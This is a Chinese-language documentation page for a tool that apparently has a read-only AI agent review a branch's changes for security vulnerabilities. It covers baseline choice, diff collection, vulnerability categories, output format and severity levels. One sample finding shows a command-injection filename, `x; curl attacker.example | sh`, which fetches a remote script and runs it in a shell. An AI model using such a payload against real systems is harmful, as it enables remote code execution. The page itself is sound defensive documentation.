OpenProgram Docs

安全审查#

安全审查针对分支改了什么,而不是仓库里有什么。它收集分支基线之后的全部改动(提交、暂存、未暂存、尚未 add 的新文件),交给一个只读 agent 排查本次改动引入的漏洞。已经存在、本次只是挪动了位置的问题不报,所以拿到的是提 PR 之前就能动手处理的清单。

在 Functions 面板里以 run_security_review 运行,或从 Python 调用:

from openprogram.functions.agentics.security_review import run_security_review

result = run_security_review()

基线怎么选#

不传 base 时,按审查者的习惯来选:

  1. 与分支已配置 upstream 的 merge base,也就是这个分支将来真正被比较的对象;
  2. 没有 upstream 时,与默认分支(origin/HEADorigin/mainorigin/master,再到它们的本地同名分支)的 merge base,覆盖还没推送的分支。

两者都没有时抛 NoBaselineError,说明缺的是什么。它不会退回 HEAD~1 或根提交:猜出来的范围审的是别的改动,而且不会告诉你猜过。要指定范围就自己传:

run_security_review(base="v2.1.0")

收集哪些内容#

一次针对工作区的 diff,提交、暂存、未暂存的改动落在同一次审查里,先提交还是不提交拿到的结论一样。未跟踪文件单独 diff 进来,因为硬编码密钥最常出现在新文件里,而普通 diff 看不到它。被 ignore 的文件排除在外,构建产物和 vendor 目录不会进入审查,正在组织的 index 也不会被改动。

没有任何改动的分支立刻返回无发现,不派 agent。超出单次审查上限的 diff 会截断,并在 prompt 里写明截断,审查者只对实际看到的内容下结论。

审查哪些类别#

审查者对改动代码逐类排查:

类别 例子
注入 拼接出来的 SQL、带插值参数的 shell=True、路径穿越、SSRF、模板与响应头注入
认证与授权 新增路由缺少同级都有的检查、用请求里的 id 取对象却不校验归属、角色或租户检查被削弱或挪到副作用之后
密钥与敏感信息 密钥令牌硬编码或写进 fixture、凭据写进日志或异常文本、密钥作为命令行参数传递
不安全反序列化与动态执行 pickle、不带 SafeLoaderyaml.loadevalexec、按调用方给的名字做属性分发、解析外部实体的 XML
并发与 TOCTOU 检查与它守护的动作被拆开、共享状态无锁访问、按名字创建临时文件
资源耗尽 无上限的读取与解压、调用方控制的分配大小、灾难性正则回溯、出站请求缺超时
依赖与供应链 新依赖未固定版本或来自非官方源、构建步骤把远程脚本管道给 shell、关掉校验
错误处理与信息泄露 栈回溯和内部路径返回给调用方、被吞掉的异常把失败的检查变成成功

diff 是一扇窗而不是整个程序,所以审查者会先读周边源码再下结论:输入从哪来、上游是否已校验、谁在调用这个函数、sink 实际做了什么。分辨"看着危险其实在上下文里没问题"和"看着平常但看到调用方才知道是漏洞",靠的就是这一步。

结构上就是只读的#

审查 agent 拿到 readgrepgloblistbash,没有 writeeditapply_patch,也不能再派 agent。能写的审查者会去"顺手修"它以为发现的问题,而产出安全结论的过程改变了被审对象,这个结论就没有价值。修复以建议的形式返回,由你来落地。

返回什么#

{"base": "a1b2c3d…", "files_reviewed": 7, "findings": [
    {"severity": "critical",
     "file": "api/users.py",
     "line": 42,
     "title": "导出文件名导致命令注入",
     "scenario": "已认证调用方把 filename 设为 `x; curl attacker.example | sh`,该值进入 shell=True 的 subprocess,以服务账号身份执行。",
     "recommendation": "以参数列表调用 subprocess 且不用 shell=True,并拒绝 [A-Za-z0-9._-] 之外的文件名。"},
]}

发现按 critical 在前排序。严重性看后果:

严重性 含义
critical 远程代码执行、认证绕过、大规模数据暴露,且未认证即可触达
high 权限提升、他人数据暴露、泄露有效凭据
medium 需要有效凭据、少见配置或串联另一个漏洞才能利用
low 加固类:纵深防御、弱默认值、对攻击者略有价值的信息

每条发现都带具体触发场景:谁通过哪个入口发送什么、得到什么。写不出这个场景的条目会被丢掉,而不是含糊地报出来。

findings 为空是正常结果,说明这次改动是干净的。prompt 里明确要求不要为了有东西可报而把观察升格成漏洞:编造发现的审查比什么都没发现的审查代价更大。

与代码评审的区别#

这是安全审查而不是代码评审:风格、缺测试、设计意见都不在范围内,分支没碰过的问题同样不在范围内。把它当作提交改动前的最后一道,与团队原有的评审流程并行。

Last updated · 2026-08-13